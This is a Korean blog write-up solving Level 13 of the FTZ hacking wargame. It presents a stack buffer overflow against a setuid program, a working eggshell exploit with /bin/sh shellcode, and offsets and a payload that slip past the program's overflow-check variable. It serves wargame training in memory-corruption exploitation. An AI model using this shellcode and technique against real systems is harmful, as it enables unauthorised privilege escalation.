ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [FTZ Level13 풀이]
    System/FTZ 2018. 2. 16. 01:21

    [Level13 Code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #include <stdlib.h> 
     
    main(int argc, char *argv[])
    {
       long i=0x1234567;
       char buf[1024];
     
       setreuid( 30943094 );
       if(argc > 1)
       strcpy(buf,argv[1]);
     
       if(i != 0x1234567) {
       printf(" Warnning: Buffer Overflow !!! \n");
       kill(0,11);
       }
    }
     
    cs


    Level13은 BOF공격을 좀 힘들게 만들어놨다.

    변수 i가 buf보다 먼저 선언되어 있으므로, 일반적인 BOF공격을 시도한다면 i의 저장되어 있는 값이 변조될 것이다.


    [Level13 Stack]

     buf[1024]

    i 

    SFP 

     RET

    값은 왼쪽 buf[0]부터 저장을 시작하는데 무작정 A로 BOF시도를 한다면 중간 i값에도 A로 뒤덮여버린다.

    long i의 값이 변조되면, 중간에 if문으로 BOF를 됐음을 감지하고 프로그램을 종료해버린다.


    [BOF 감지후 종료]

    이렇게 "Warnning: Buffer Overflow !!!" 라는 문자열을 내뿜고 종료되어 버린다.


    나는 그래도 BOF를 사용하겠다! 라는 고집이 있어서 그냥 중간 i공간을 계산해서 그부분은 건들지 않고

    RET공간까지 간 후, RET공간에 EGGShell로 만든 환경변수 주소를 넣어주는 식으로 쉘을 땄다.




    [EGG Shell]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    #include <stdlib.h>
    #define DEFAULT_OFFSET 0
    #define DEFAULT_BUFFER_SIZE 512
    #define DEFAULT_EGG_SIZE 2048
    #define NOP 0x90
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
     
    unsigned long get_esp(void) {
    __asm__("movl %esp,%eax");
    }
    int main(int argc, char *argv[]) {
            char *buff, *ptr, *egg;
            long *addr_ptr, addr;
            int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
            int i, eggsize=DEFAULT_EGG_SIZE;
            if (argc > 1) bsize   = atoi(argv[1]);
            if (argc > 2) offset  = atoi(argv[2]);
            if (argc > 3) eggsize = atoi(argv[3]);
            if (!(buff = malloc(bsize))) {
            printf("Can't allocate memory.\n");
            exit(0);
            }
            if (!(egg = malloc(eggsize))) {
            printf("Can't allocate memory.\n");
            exit(0);
            }
            addr = get_esp() - offset;
            printf("Using address: 0x%x\n", addr);
            ptr = buff;
            addr_ptr = (long *) ptr;
            for (i = 0; i < bsize; i+=4)
            {
                    if(i == 1040)
                    {
                            *(addr_ptr++= 0x1234567;
                    }
                    else
                            *(addr_ptr++= addr;
    }
            ptr = egg;
            for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
                    *(ptr++= NOP;
            for (i = 0; i < strlen(shellcode); i++)
                    *(ptr++= shellcode[i];
            buff[bsize - 1= '\0';
            egg[eggsize - 1= '\0';
            memcpy(egg,"EGG=",4);
            putenv(egg);
            memcpy(buff,"RET=",4);
            putenv(buff);
            system("/bin/bash");
    }
    cs


    저번 풀이때도 말했지만, 여기서 출력되는 환경변수 주소는 실제 주소와 다르다.

    따라서, 환경변수 주소를 알아내는 코드를 따로짜서 알아내야 한다.


    [EGG getenv( )]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #include <unistd.h>
     
    int main(int argc,char **argv)
    {
            printf("%p\n",getenv("EGG"));
            return 0;
     
    }
     
    cs

    환경변수 EGG의 실제주소는 [0xbffff465]인 것을 알아냈다.


    이제 long i의 주소공간을 계산해서 그 부분의 값은 건들이지 않고 RET까지 도달해야 한다.

    우선 buf[1024]이니까 1024까지 버퍼를 채운 후, 스택상황을 확인해보자


    [A*1024 입력]


    버퍼가 끝난 후, i는 12Byte뒤에 위치하고 있다.

    그렇다면 1036만큼 A로 채워주고 그 뒤 4Byte는 [0x1234567]로 채워주면 i의 값은 변하지 않을 것이다.


    [A*1036 입력]


    자 A를 1036만큼 입력하고 그 뒤 4Byte는 i값으로 채운 후, 다시 BBBB를 입력해보았다.

    스택 상황을 보면 i값은 변하지않고, 그 다음값은 42424242(BBBB)로 저장된 것을 확인할 수 있다.

    이것으로 우리는 BOF방지코드를 우회할 수 있게되었다.


    이제 EIP까지의 offset을 구해보자

    EIP까지의 offset은 1052이다.


    자이제 페이로드를 짜보도록 하자

    PAYLOAD : buf[1036] + 0x1234567 + A*12 + EGGShell 주소


    자 이것으로 Level13의 풀이를 마치도록 하겠다.

    'System > FTZ' 카테고리의 다른 글

    [FTZ Level15 풀이]  (0) 2018.02.16
    [FTZ Level14 풀이]  (0) 2018.02.16
    [FTZ Level12 풀이]  (0) 2018.02.15
    [FTZ Level11 풀이 ]  (0) 2018.02.15
    HackerSchool Level1 문제풀이  (1) 2017.10.05

    댓글

Designed by Tistory.